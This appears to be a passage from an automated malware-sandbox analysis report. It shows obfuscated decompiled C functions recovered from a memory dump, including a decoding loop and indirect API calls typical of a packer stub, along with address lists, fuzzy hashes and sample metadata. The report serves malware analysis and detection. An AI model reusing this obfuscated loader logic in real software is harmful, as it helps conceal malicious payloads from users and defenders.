					_t300 = _t457 + 0x41d34c; // 0x41d34c
					 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
					 *_t616 =  *_t616 + _t300;
					_t390 =  *((intOrPtr*)(_t457 + 0x41f064))( *(_t604 - 0x1c),  *(_t604 - 0x1c));
				}
				 *(_t604 - 0x24) = _t537;
				 *((intOrPtr*)(_t457 + 0x41ce46)) = _t390;
				_t540 =  *(_t604 - 0x24);
				 *(_t604 - 0x1c) = _t540;
				_t310 = _t457 + 0x41cb9d; // 0x41cb9d
				 *_t616 =  *_t616 - _t590;
				 *_t616 =  *_t616 | _t310;
				_t311 = _t457 + 0x41cd17; // 0x41cd17
				 *(_t604 - 0x20) =  *(_t604 - 0x20) & 0x00000000;
				 *_t616 =  *_t616 | _t311;
				_t393 =  *((intOrPtr*)(_t457 + 0x41f068))( *(_t604 - 0x20), _t590);
				 *_t616 = _t565 & 0x00000000 | _t540 & 0x00000000 ^ _t590;
				 *(_t457 + 0x41d015) = 0 ^ _t393;
				_t570 = 0;
				_t591 = _t590 - 1;
				 *(_t604 - 0x1c) = 0;
				_push( *(_t604 - 0x1c));
				 *_t616 =  *_t616 | _t457;
				do {
					 *_t319 = _t570;
					_t488 =  *(_t604 - 0x20);
					_t489 = _t488 &  *(_t604 - 8);
					if(_t489 == 0) {
						_t591 = _t591 + 1;
						_t393 = _t393 & 0x00000000 ^ (_t570 -  *_t616 |  *(_t604 - 0x18));
						_t570 = _t570;
						_t457 =  *(_t393 + _t591) & 0x000000ff;
					}
					 *_t325 =  *((intOrPtr*)(_t604 - 0xc));
					_t544 =  *(_t604 - 0x20);
					asm("rol edx, cl");
					asm("lodsb");
					_t393 = _t393 | _t544 & _t457;
					 *_t570 = _t393;
					_t570 = _t570 + 1;
					_t327 = _t604 - 4;
					 *_t327 =  *((intOrPtr*)(_t604 - 4)) - 1;
				} while ( *_t327 != 0);
				_t459 =  *_t616;
				_t617 =  &(_t616[1]);
				_t329 = _t459 + 0x41cc0b; // 0x41cc0b
				 *_t617 =  *_t617 & 0x00000000;
				 *_t617 =  *_t617 ^ _t329;
				_t330 = _t459 + 0x41cbd0; // 0x41cbd0
				 *_t617 =  *_t617 & 0x00000000;
				 *_t617 =  *_t617 | _t330;
				_t397 =  *((intOrPtr*)(_t459 + 0x41f068))(_t604, _t489);
				 *(_t604 - 0x20) = _t489;
				 *(_t459 + 0x41d326) =  *(_t459 + 0x41d326) & 0x00000000;
				 *(_t459 + 0x41d326) =  *(_t459 + 0x41d326) ^ (_t489 ^  *(_t604 - 0x20) | _t397);
				 *(_t604 - 0x1c) = _t459;
				return memcpy(_t570, _t591 + 1,  *(_t604 - 0x14));
			}

0x00e93fab
0x00e93fab
0x00e93fb1
0x00e93fb5
0x00e93fb8
0x00e93fc1
0x00e93fc2
0x00e93fc5
0x00e93fc8
0x00e93fd4
0x00e93fd5
0x00e93fd9
0x00e93fe2
0x00e93fe5
0x00e93fe8
0x00e93fee
0x00e93ff6
0x00e93ffd
0x00e94003
0x00e9400b
0x00e9400e
0x00e94015
0x00e94018
0x00e94021
0x00e94024
0x00e9402d
0x00e94031
0x00e94034
0x00e94037
0x00e9403d
0x00e94044
0x00e9404d
0x00e94053
0x00e94056
0x00e9405f
0x00e94060
0x00e94063
0x00e9406c
0x00e94073
0x00e94076
0x00e94079
0x00e9407f
0x00e94086
0x00e9408c
0x00e94098
0x00e940a1
0x00e940a8
0x00e940ae
0x00e940b5
0x00e940b6
0x00e940ba
0x00e940bd
0x00e940c3
0x00e940ca
0x00e940cd
0x00e940d6
0x00e940dd
0x00e940e0
0x00e940e3
0x00e940f2
0x00e940f7
0x00e940fb
0x00e940fe
0x00e94100
0x00e94103
0x00e9410e
0x00e94110
0x00e94113
0x00e9411b
0x00e9411c
0x00e9411f
0x00e94128
0x00e9412f
0x00e94132
0x00e94135
0x00e94135
0x00e94141
0x00e94148
0x00e9414e
0x00e94153
0x00e9446d
0x00e94473
0x00e9447c
0x00e9447f
0x00e94486
0x00e9448a
0x00e94493
0x00e94494
0x00e94497
0x00e9449a
0x00e944a0
0x00e944a7
0x00e944ad
0x00e944b4
0x00e944b7
0x00e944bd
0x00e944c5
0x00e944cc
0x00e944d2
0x00e944d5
0x00e944dc
0x00e944e2
0x00e944e9
0x00e944ec
0x00e944f2
0x00e944fa
0x00e94501
0x00e94507
0x00e9450a
0x00e94511
0x00e94517
0x00e9451e
0x00e94521
0x00e94528
0x00e9452b
0x00e9452e
0x00e94534
0x00e9453c
0x00e94543
0x00e94549
0x00e94549
0x00e94159
0x00e94159
0x00e9415f
0x00e94169
0x00e9416c
0x00e94172
0x00e9417c
0x00e9417f
0x00e9418b
0x00e94192
0x00e94198
0x00e94199
0x00e9419f
0x00e941a6
0x00e941a9
0x00e941af
0x00e941b6
0x00e941b9
0x00e941c2
0x00e941c5
0x00e941ce
0x00e941d1
0x00e941dd
0x00e941e0
0x00e941e5
0x00e941e9
0x00e941ec
0x00e941ee
0x00e941fc
0x00e941fe
0x00e94201
0x00e94203
0x00e9420a
0x00e9420e
0x00e94211
0x00e94217
0x00e9421e
0x00e94221
0x00e9422d
0x00e94234
0x00e9423a
0x00e9423a
0x00e94240
0x00e94244
0x00e94248
0x00e9424b
0x00e94252
0x00e94255
0x00e94258
0x00e94261
0x00e94264
0x00e9426a
0x00e94272
0x00e94279
0x00e9427f
0x00e94282
0x00e94289
0x00e9428c
0x00e9428f
0x00e94296
0x00e94299
0x00e9429c
0x00e942a3
0x00e942a7
0x00e942aa
0x00e942b1
0x00e942b4
0x00e942b7
0x00e942c6
0x00e942c9
0x00e942d0
0x00e942d6
0x00e942d9
0x00e942e0
0x00e942e6
0x00e942f0
0x00e942f3
0x00e942fa
0x00e942fd
0x00e94300
0x00e94306
0x00e9430d
0x00e94310
0x00e9431c
0x00e9431f
0x00e94322
0x00e94329
0x00e9432a
0x00e9432d
0x00e9432e
0x00e9433d
0x00e9433f
0x00e94344
0x00e94346
0x00e9434c
0x00e94353
0x00e94356
0x00e9435c
0x00e94366
0x00e94369
0x00e94369
0x00e94371
0x00e94378
0x00e9437e
0x00e9437f
0x00e94386
0x00e9438d
0x00e94390
0x00e94393
0x00e94399
0x00e943a0
0x00e943a6
0x00e943a9
0x00e943b0
0x00e943b7
0x00e943ba
0x00e943bd
0x00e943c5
0x00e943cc
0x00e943d2
0x00e943d2
0x00e94551
0x00e94555
0x00e94558
0x00e9455b
0x00e94562
0x00e94565
0x00e94568
0x00e94571
0x00e94574
0x00e9457a
0x00e94584
0x00e94587
0x00e94593
0x00e94596
0x00e94599
0x00e945a0
0x00e945a1
0x00e945a4
0x00e945b2
0x00e945b4
0x00e945b7
0x00e945b9
0x00e945bf
0x00e945c9
0x00e945cc
0x00e945d2
0x00e945dc
0x00e945df
0x00e945e5
0x00e945ec
0x00e945f2
0x00e945f2
0x00e945fe
0x00e94603
0x00e9460d
0x00e94611
0x00e94614
0x00e9461a
0x00e94621
0x00e94624
0x00e9462b
0x00e9462e
0x00e94631
0x00e9463d
0x00e94644
0x00e9464a
0x00e94654
0x00e94657
0x00e9465b
0x00e9465f
0x00e94662
0x00e94668
0x00e94672
0x00e94675
0x00e94681
0x00e94688
0x00e9468e
0x00e94695
0x00e94698
0x00e946a1
0x00e946a5
0x00e946af
0x00e946b2
0x00e946b9
0x00e946bc
0x00e946bf
0x00e946c5
0x00e946cf
0x00e946d2
0x00e946d8
0x00e946e0
0x00e946e7
0x00e946f2
0x00e946f5
0x00e946f8
0x00e94700
0x00e94704
0x00e9470a
0x00e94710
0x00e9471a
0x00e9471d
0x00e94729
0x00e94730
0x00e94736
0x00e94741
0x00e94743
0x00e94744
0x00e9474a
0x00e94754
0x00e94757
0x00e9475d
0x00e94767
0x00e9476a
0x00e94773
0x00e94776
0x00e94781
0x00e94788
0x00e9478b
0x00e9478e
0x00e94791
0x00e94792
0x00e94793
0x00e947a0
0x00e947a5
0x00e947a7
0x00e947ad
0x00e947b4
0x00e947b7
0x00e947bd
0x00e947c4
0x00e947c7
0x00e947c7
0x00e947cd
0x00e947d4
0x00e947da
0x00e947dd
0x00e947ed
0x00e947f4
0x00e947f7
0x00e947fa
0x00e94800
0x00e94807
0x00e9480a
0x00e94812
0x00e94819
0x00e9481f
0x00e94820
0x00e94821
0x00e94828
0x00e9482b
0x00e9482e
0x00e9482f
0x00e94835
0x00e94836
0x00e94839
0x00e9483b
0x00e94846
0x00e94848
0x00e94849
0x00e94849
0x00e94850
0x00e94856
0x00e94857
0x00e9485b
0x00e9485c
0x00e9485e
0x00e94860
0x00e94861
0x00e94861
0x00e94861
0x00e94868
0x00e9486b
0x00e9486e
0x00e94875
0x00e94879
0x00e9487c
0x00e94883
0x00e94887
0x00e9488a
0x00e94890
0x00e94898
0x00e9489f
0x00e948a8
0x00e948c1

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e380f32c42c4f0e1bdcf2094019efc4a4f59e296a005b21612e1bc21532986cf
Instruction ID: 890bccd9db2ee06fdc250673b221b3c1e19395683817773b4d2f6584f98c97df
Opcode Fuzzy Hash: e380f32c42c4f0e1bdcf2094019efc4a4f59e296a005b21612e1bc21532986cf
Instruction Fuzzy Hash: FC4225728442088FEF04DFA4C889BEEBBF1FF48310F19856ED889AA155D7385525CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00E91CD0, Relevance: .6, Instructions: 565
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E00E91CD0(void* __ebx, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t326;
				signed int _t329;
				void* _t331;
				void* _t332;
				signed int _t336;
				signed int _t339;
				signed int _t344;
				signed int _t345;
				signed int _t348;
				intOrPtr _t353;
				signed int _t356;
				signed int _t359;
				void* _t361;
				void* _t362;
				signed int _t367;
				signed int _t368;
				signed int _t370;
				void* _t372;
				void* _t373;
				void* _t377;
				intOrPtr _t378;
				intOrPtr _t380;
				signed int _t382;
				signed int _t385;
				signed int _t387;
				void* _t389;
				signed int _t390;
				signed int _t392;
				signed int _t395;
				void* _t397;
				void* _t399;
				signed int _t400;
				signed int _t415;
				signed int _t418;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t427;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t444;
				signed int _t446;
				signed int _t453;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t461;
				signed int _t467;
				signed int _t470;
				signed int _t476;
				signed int _t479;
				signed int _t482;
				signed int _t485;
				void* _t489;
				signed int _t491;
				signed int _t494;
				signed int _t497;
				signed int _t499;
				signed int _t502;
				signed int _t504;
				signed int _t507;
				signed int _t510;
				signed int _t513;
				void* _t516;
				signed int _t518;
				signed int _t529;
				signed int _t532;
				signed int _t535;
				signed int _t537;
				signed int _t540;
				signed int _t543;
				signed int _t546;
				signed int _t549;
				signed int _t552;
				void* _t561;
				void* _t565;
				signed int _t566;
				void* _t569;
				signed int _t572;
				signed int _t576;
				signed int* _t577;
				signed int* _t578;
				signed int* _t579;
				signed int* _t580;
				signed int* _t581;
				signed int* _t582;
				signed int* _t583;

				_t467 = __edx;
				_t422 = __ebx;
				_push(__esi);
				 *_t576 =  *_t576 & 0x00000000;
				 *_t576 =  *_t576 + _t565;
				_t566 = _t576;
				_t577 = _t576 + 0xfffffff0;
				_v20 = 0;
				_push(_v20);
				 *_t577 =  *_t577 + __ebx + 0x41d081;
				_t326 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(__esi);
				 *(__ebx + 0x41d148) =  *(__ebx + 0x41d148) & 0x00000000;
				 *(__ebx + 0x41d148) =  *(__ebx + 0x41d148) | __esi -  *_t577 ^ _t326;
				_pop(_t529);
				_push(__ebx);
				 *_t577 =  *_t577 & 0x00000000;
				 *_t577 =  *_t577 + __ebx + 0x41c850;
				_push(_v16);
				 *_t577 = __ebx + 0x41cbc9;
				_t329 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(__ebx);
				 *_t577 =  *_t577 - __ebx;
				 *_t577 = _t329;
				_push(__edi);
				 *_t577 =  *_t577 ^ __edi;
				 *_t577 =  *_t577 + __ebx + 0x41cab2;
				_t331 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t15);
				_push(__edi);
				 *_t17 = _t331;
				_v12 = _v12 + (__ecx & 0x00000000 | _v20);
				_push(_v12);
				_pop(_t332);
				_pop(_t497);
				_push( *((intOrPtr*)(__ebx + 0x41ca2b)));
				_pop( *_t22);
				_push(_v16);
				_pop(_t431);
				if(_t431 > _t332) {
					_v20 = 0;
					_push(_v20);
					 *_t577 =  *_t577 + __ebx + 0x41cbc9;
					_push(_v20);
					 *_t577 = __ebx + 0x41cab2;
					_t421 =  *((intOrPtr*)(__ebx + 0x41f064))();
					_v20 = _t431;
					 *(__ebx + 0x41ce2d) = 0 ^ _t421;
					_t431 = _v20;
				}
				_t578 = _t577 - 0xfffffffc;
				 *_t578 =  *_t578 & 0x00000000;
				 *_t578 =  *_t578 |  *_t577;
				_v20 = 0;
				 *_t578 =  *_t578 ^ _t422 + 0x0041c95a;
				_t336 =  *((intOrPtr*)(_t422 + 0x41f060))(_v20, _t566);
				_v20 = _t467;
				 *(_t422 + 0x41cd3d) = 0 ^ _t336;
				_t470 = _v20;
				 *_t578 =  *_t578 & 0x00000000;
				 *_t578 =  *_t578 ^ _t422 + 0x0041c799;
				 *_t578 =  *_t578 ^ _t431;
				 *_t578 =  *_t578 ^ _t422 + 0x0041d050;
				_t339 =  *((intOrPtr*)(_t422 + 0x41f060))(_t431, _t529);
				_v20 = _t529;
				 *(_t422 + 0x41d0f6) =  *(_t422 + 0x41d0f6) & 0x00000000;
				 *(_t422 + 0x41d0f6) =  *(_t422 + 0x41d0f6) ^ _t529 & 0x00000000 ^ _t339;
				_t532 = _v20;
				_t579 =  &(_t578[1]);
				_v20 = 0;
				 *_t579 =  *_t579 + (_t339 & 0x00000000) +  *_t578;
				_v16 = _v16 & 0x00000000;
				 *_t579 =  *_t579 + _t422 + 0x41c952;
				_v16 = 0;
				 *_t579 =  *_t579 ^ _t422 + 0x0041cbdd;
				_t344 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v16, _v20);
				_v20 = _t532;
				 *(_t422 + 0x41c459) =  *(_t422 + 0x41c459) & 0x00000000;
				 *(_t422 + 0x41c459) =  *(_t422 + 0x41c459) | _t532 - _v20 | _t344;
				_t535 = _v20;
				_t345 =  *((intOrPtr*)(_t422 + 0x41f068))();
				 *_t579 = _t345;
				_v12 = _v12 & 0x00000000;
				 *_t579 =  *_t579 ^ _t422 + 0x0041c361;
				_v16 = _v16 & 0x00000000;
				 *_t579 =  *_t579 + _t422 + 0x41c569;
				_t348 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v12, _v20);
				_v20 = _t470;
				 *(_t422 + 0x41ca96) =  *(_t422 + 0x41ca96) & 0x00000000;
				 *(_t422 + 0x41ca96) =  *(_t422 + 0x41ca96) | _t470 & 0x00000000 ^ _t348;
				_t580 =  &(_t579[1]);
				 *(_t422 + 0x41d322) =  *(_t422 + 0x41d322) & 0x00000000;
				 *(_t422 + 0x41d322) =  *(_t422 + 0x41d322) | _t566 ^  *_t580 |  *_t579;
				_t569 = _t566;
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 + _t422 + 0x41c29c;
				_v16 = 0;
				 *_t580 =  *_t580 + _t422 + 0x41c80d;
				_t353 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v12);
				_v12 = _v20;
				 *((intOrPtr*)(_t422 + 0x41c28c)) = _t353;
				_t476 = _v12;
				 *_t580 = _t497;
				 *_t580 = _t422 + 0x41ce81;
				 *_t580 = _t422 + 0x41cad0;
				_t356 =  *((intOrPtr*)(_t422 + 0x41f068))(_v20, _v20, _v20);
				 *(_t422 + 0x41c00b) =  *(_t422 + 0x41c00b) & 0x00000000;
				 *(_t422 + 0x41c00b) =  *(_t422 + 0x41c00b) | _t476 ^  *_t580 | _t356;
				_t479 = _t476;
				 *_t580 =  *_t580 - _t497;
				 *_t580 = _t422 + 0x41c333;
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 | _t422 + 0x0041c5ab;
				_t359 =  *((intOrPtr*)(_t422 + 0x41f060))(_v12, _t497);
				 *_t580 = _t359;
				 *_t580 =  *_t580 - _t535;
				 *_t580 =  *_t580 | _t422 + 0x0041cfa2;
				_t361 =  *((intOrPtr*)(_t422 + 0x41f060))(_v12);
				 *_t117 = _t535;
				_t432 = _v16;
				 *_t119 = _t361;
				_v16 = _v16 + _t432;
				_push(_v16);
				_pop(_t362);
				_t499 = _t497;
				_v12 = _t499;
				_t434 = _t432 & 0x00000000 | _t499 ^ _v12 ^  *(_t422 + 0x41ce17);
				_t502 = _v12;
				if(_t434 > _t362) {
					 *_t580 = _t422 + 0x41c5ab;
					_v20 = 0;
					 *_t580 =  *_t580 | _t422 + 0x0041cfa2;
					_t418 =  *((intOrPtr*)(_t422 + 0x41f064))(_v20, _v16);
					_v20 = _t502;
					 *(_t422 + 0x41cc6a) = 0 ^ _t418;
					_t502 = _v20;
				}
				_pop( *_t136);
				 *_t580 = 0 ^ _v16;
				 *_t580 =  *_t580 - _t535;
				 *_t580 =  *_t580 + _t422 + 0x41d2cb;
				 *_t580 =  *_t580 & 0x00000000;
				 *_t580 =  *_t580 | _t422 + 0x0041d0da;
				_t367 =  *((intOrPtr*)(_t422 + 0x41f068))(_t422, _t535, _v16);
				 *(_t422 + 0x41c44e) =  *(_t422 + 0x41c44e) & 0x00000000;
				 *(_t422 + 0x41c44e) =  *(_t422 + 0x41c44e) | _t434 & 0x00000000 | _t367;
				_t437 = _t434;
				_t368 =  *((intOrPtr*)(_t422 + 0x41f060))();
				 *_t580 = _t368;
				_v16 = 0;
				 *_t580 =  *_t580 ^ _t422 + 0x0041d2e3;
				_t370 =  *((intOrPtr*)(_t422 + 0x41f060))(_v16, _v12);
				_v16 = 0;
				 *_t580 =  *_t580 ^ _t370;
				 *_t580 =  *_t580 & 0x00000000;
				 *_t580 =  *_t580 ^ _t422 + 0x0041cf21;
				_t372 =  *((intOrPtr*)(_t422 + 0x41f060))(_v16);
				 *_t156 = _t569;
				_t439 = (_t437 & 0x00000000) + _v20;
				 *_t158 = _t372;
				_v12 = _v12 + _t439;
				_push(_v12);
				_pop(_t373);
				_t424 = _t422;
				_v20 = _t479;
				_t441 = _t439 & 0x00000000 | _t479 & 0x00000000 |  *(_t424 + 0x41d124);
				_t482 = _v20;
				if(_t441 > _t373) {
					_t165 = _t424 + 0x41d2e3; // 0x41d2e3
					 *_t580 =  *_t580 & 0x00000000;
					 *_t580 =  *_t580 | _t165;
					_t166 = _t424 + 0x41cf21; // 0x41cf21
					 *_t580 = _t166;
					_t415 =  *((intOrPtr*)(_t424 + 0x41f064))(_v20, _t482);
					_v12 = _t441;
					 *(_t424 + 0x41c275) = 0 ^ _t415;
					_t441 = _v12;
				}
				_pop( *_t172);
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 ^ _v16;
				_t177 = _t424 + 0x41c5c8; // 0x41c5c8
				_v16 = _v16 & 0x00000000;
				 *_t580 =  *_t580 | _t177;
				_t377 =  *((intOrPtr*)(_t424 + 0x41f060))(_v16, _v12);
				_t581 =  &(_t580[1]);
				 *_t182 = _t377;
				_v20 = _v20 + (_t441 & 0x00000000 ^  *_t580);
				_push(_v20);
				_pop(_t378);
				_t537 = _t535;
				 *_t581 = _t537;
				_t444 = 0 ^  *(_t424 + 0x41c106);
				_t540 = 0;
				if(_t444 > _t378) {
					_t187 = _t424 + 0x41c333; // 0x41c333
					_v12 = 0;
					 *_t581 =  *_t581 | _t187;
					_t190 = _t424 + 0x41c5c8; // 0x41c5c8
					 *_t581 =  *_t581 ^ _t444;
					 *_t581 = _t190;
					_t378 =  *((intOrPtr*)(_t424 + 0x41f064))(_t444, _v12);
				}
				_v16 = _t540;
				 *((intOrPtr*)(_t424 + 0x41c594)) = _t378;
				_t543 = _v16;
				_t446 = _t444 & 0x00000000 ^ (_t424 ^  *_t581 | _a4);
				_t427 = _t424;
				_v12 = 0;
				 *_t581 =  *_t581 + _t446;
				_t198 = _t427 + 0x41ccb8; // 0x41ccb8
				_v12 = 0;
				 *_t581 =  *_t581 | _t198;
				_t380 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, _v12);
				_v20 = _t446;
				 *((intOrPtr*)(_t427 + 0x41cb42)) = _t380;
				_pop( *_t205);
				_t504 = _t502 & 0x00000000 | _t482 -  *_t581 | _v16;
				_t485 = _t482;
				_t207 = _t427 + 0x41d2a5; // 0x41d2a5
				 *_t581 =  *_t581 ^ _t504;
				 *_t581 =  *_t581 ^ _t207;
				_t382 =  *((intOrPtr*)(_t427 + 0x41f060))(_t504);
				 *(_t427 + 0x41cba6) =  *(_t427 + 0x41cba6) & 0x00000000;
				 *(_t427 + 0x41cba6) =  *(_t427 + 0x41cba6) | _t504 & 0x00000000 ^ _t382;
				_t507 = _t504;
				_t572 = _t569;
				_t213 = _t427 + 0x41c4f4; // 0x41c4f4
				_v16 = _v16 & 0x00000000;
				 *_t581 =  *_t581 | _t213;
				_t217 = _t427 + 0x41c4e9; // 0x41c4e9
				 *_t581 =  *_t581 ^ _t485;
				 *_t581 = _t217;
				_t385 =  *((intOrPtr*)(_t427 + 0x41f068))(_t485, _v16);
				_v12 = _t543;
				 *(_t427 + 0x41cc3a) =  *(_t427 + 0x41cc3a) & 0x00000000;
				 *(_t427 + 0x41cc3a) =  *(_t427 + 0x41cc3a) ^ (_t543 ^ _v12 | _t385);
				_t546 = _v12;
				_v16 = _t485;
				_v8 = _t507;
				_t229 = _t427 + 0x41c0f6; // 0x41c0f6
				 *_t581 = _t229;
				_t387 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20);
				 *_t581 = _t387;
				_t233 = _t427 + 0x41c3d8; // 0x41c3d8
				_v20 = _v20 & 0x00000000;
				 *_t581 =  *_t581 ^ _t233;
				_t389 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20, _v12);
				_t453 =  *_t581;
				_t582 =  &(_t581[1]);
				 *_t582 =  *_t582 + _v16;
				_t489 = _t389;
				_t390 = _t489 + _t453;
				_t491 = 0;
				_t455 = _t453 & 0x00000000 ^ _t507 -  *_t582 ^  *(_t427 + 0x41ce7d);
				_t510 = _t507;
				if(_t455 > _t390) {
					_t239 = _t427 + 0x41c0f6; // 0x41c0f6
					_v12 = 0;
					 *_t582 =  *_t582 ^ _t239;
					_t242 = _t427 + 0x41c3d8; // 0x41c3d8
					 *_t582 =  *_t582 & 0x00000000;
					 *_t582 =  *_t582 + _t242;
					_t390 =  *((intOrPtr*)(_t427 + 0x41f064))(_t491, _v12);
				}
				 *(_t427 + 0x41cf5f) =  *(_t427 + 0x41cf5f) & 0x00000000;
				 *(_t427 + 0x41cf5f) =  *(_t427 + 0x41cf5f) | _t546 ^  *_t582 | _t390;
				_t549 = _t546;
				_t248 = _t427 + 0x41c2c4; // 0x41c2c4
				_v12 = 0;
				 *_t582 =  *_t582 | _t248;
				_t392 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, 0);
				_v12 = _t510;
				 *(_t427 + 0x41c193) =  *(_t427 + 0x41c193) & 0x00000000;
				 *(_t427 + 0x41c193) =  *(_t427 + 0x41c193) | _t510 - _v12 ^ _t392;
				_t513 = _v12;
				 *((intOrPtr*)(_t427 + 0x41f080))();
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 ^ _t455;
				_t260 = _t427 + 0x41d1a0; // 0x41d1a0
				_v12 = _v12 & 0x00000000;
				 *_t582 =  *_t582 ^ _t260;
				_t395 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, _t572);
				_v12 = _t491;
				 *(_t427 + 0x41c59c) =  *(_t427 + 0x41c59c) & 0x00000000;
				 *(_t427 + 0x41c59c) =  *(_t427 + 0x41c59c) | _t491 - _v12 | _t395;
				_t494 = _v12;
				_pop( *_t272);
				_t456 = _v20;
				do {
					_v8 = _v8 - 1;
					 *_t582 =  *_t582 & 0x00000000;
					 *_t582 =  *_t582 + _t456;
					_t276 = _t427 + 0x41ccae; // 0x41ccae
					_v20 = 0;
					 *_t582 =  *_t582 + _t276;
					_t397 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20, _t572);
					_v16 = _v16 & 0x00000000;
					 *_t582 =  *_t582 + _t397;
					_t283 = _t427 + 0x41c045; // 0x41c045
					 *_t582 = _t283;
					_t399 =  *((intOrPtr*)(_t427 + 0x41f060))(_v16, _v16);
					_pop( *_t286);
					_t457 = _v20;
					_v12 = _t549;
					_push(_t457 + _t399);
					_t552 = _v12;
					_pop(_t400);
					_t572 = _t572;
					if((_t457 & 0x00000000 | _t572 & 0x00000000 ^  *(_t427 + 0x41c40d)) > _t400) {
						_t291 = _t427 + 0x41ccae; // 0x41ccae
						_v12 = _v12 & 0x00000000;
						 *_t582 =  *_t582 | _t291;
						_t295 = _t427 + 0x41c045; // 0x41c045
						_v12 = 0;
						 *_t582 =  *_t582 ^ _t295;
						_t400 =  *((intOrPtr*)(_t427 + 0x41f064))(_v12, _v12);
						_v16 = _t552;
						 *(_t427 + 0x41d2c3) =  *(_t427 + 0x41d2c3) & 0x00000000;
						 *(_t427 + 0x41d2c3) =  *(_t427 + 0x41d2c3) | _t552 & 0x00000000 ^ _t400;
						_t552 = _v16;
					}
					_t461 =  *_t582;
					_t583 =  &(_t582[1]);
					_v20 = _t552;
					_v12 = _v20;
					_t516 = _a4 + (_t513 & 0x00000000 ^ (_t552 & 0x00000000 | _t461));
					_v20 = _v20 & 0x00000000;
					_push(_v20);
					 *_t583 =  *_t583 | _t461;
					_v16 = _t400;
					_push(_a8 + _t516 + 1);
					_pop(_t518);
					_push(_v12);
					_pop(_t561);
					 *((intOrPtr*)(_t427 + 0x41f0c0))();
					_t549 =  *_t583;
					 *_t583 = _v8;
					 *_t583 =  *_t583 & 0x00000000;
					 *_t583 =  *_t583 + (_t518 | _a4) + 1;
					_t513 =  *_t583;
					 *_t583 = _a8;
					E00E931B3(_t427, _t494, _t513, _t549, (_t518 | _a4) + 1, _t572, _t561);
					_t456 =  *_t583;
					_t582 = _t583 - 0xfffffffc;
				} while (_v8 != 0);
				_pop( *_t323);
				return 0;
			}

0x00e91cd0
0x00e91cd0
0x00e91cd0
0x00e91cd1
0x00e91cd5
0x00e91cd8
0x00e91cda
0x00e91ce3
0x00e91cea
0x00e91ced
0x00e91cf0
0x00e91cf6
0x00e91cfc
0x00e91d03
0x00e91d09
0x00e91d10
0x00e91d11
0x00e91d15
0x00e91d1e
0x00e91d21
0x00e91d24
0x00e91d2a
0x00e91d2b
0x00e91d2e
0x00e91d37
0x00e91d38
0x00e91d3b
0x00e91d3e
0x00e91d4a
0x00e91d50
0x00e91d54
0x00e91d57
0x00e91d5a
0x00e91d5d
0x00e91d5e
0x00e91d5f
0x00e91d65
0x00e91d68
0x00e91d6b
0x00e91d6e
0x00e91d76
0x00e91d7d
0x00e91d80
0x00e91d89
0x00e91d8c
0x00e91d8f
0x00e91d95
0x00e91d9c
0x00e91da2
0x00e91da2
0x00e91daa
0x00e91dae
0x00e91db2
0x00e91dbb
0x00e91dc5
0x00e91dc8
0x00e91dce
0x00e91dd5
0x00e91ddb
0x00e91de5
0x00e91de9
0x00e91df3
0x00e91df6
0x00e91df9
0x00e91dff
0x00e91e07
0x00e91e0e
0x00e91e14
0x00e91e20
0x00e91e23
0x00e91e2d
0x00e91e36
0x00e91e3d
0x00e91e46
0x00e91e50
0x00e91e53
0x00e91e59
0x00e91e61
0x00e91e68
0x00e91e6e
0x00e91e71
0x00e91e7a
0x00e91e83
0x00e91e8a
0x00e91e93
0x00e91e9a
0x00e91e9d
0x00e91ea3
0x00e91eab
0x00e91eb2
0x00e91ec0
0x00e91ec9
0x00e91ed0
0x00e91ed6
0x00e91edd
0x00e91ee4
0x00e91eed
0x00e91ef7
0x00e91efa
0x00e91f00
0x00e91f07
0x00e91f0d
0x00e91f13
0x00e91f1f
0x00e91f2b
0x00e91f2e
0x00e91f3a
0x00e91f41
0x00e91f47
0x00e91f4f
0x00e91f52
0x00e91f5b
0x00e91f62
0x00e91f65
0x00e91f6e
0x00e91f78
0x00e91f7b
0x00e91f7e
0x00e91f84
0x00e91f87
0x00e91f8e
0x00e91f91
0x00e91f94
0x00e91f97
0x00e91f98
0x00e91f99
0x00e91fa8
0x00e91faa
0x00e91faf
0x00e91fba
0x00e91fc3
0x00e91fcd
0x00e91fd0
0x00e91fd6
0x00e91fdd
0x00e91fe3
0x00e91fe3
0x00e91fe8
0x00e91ff1
0x00e91ffb
0x00e91ffe
0x00e92008
0x00e9200c
0x00e9200f
0x00e9201b
0x00e92022
0x00e92028
0x00e92029
0x00e92032
0x00e9203b
0x00e92045
0x00e92048
0x00e9204e
0x00e92058
0x00e92062
0x00e92066
0x00e92069
0x00e92075
0x00e92078
0x00e9207f
0x00e92082
0x00e92085
0x00e92088
0x00e92089
0x00e9208a
0x00e92099
0x00e9209b
0x00e920a0
0x00e920a2
0x00e920a9
0x00e920ad
0x00e920b0
0x00e920b9
0x00e920bc
0x00e920c2
0x00e920c9
0x00e920cf
0x00e920cf
0x00e920d4
0x00e920da
0x00e920e1
0x00e920e4
0x00e920ea
0x00e920f1
0x00e920f4
0x00e92103
0x00e9210a
0x00e9210d
0x00e92110
0x00e92113
0x00e92114
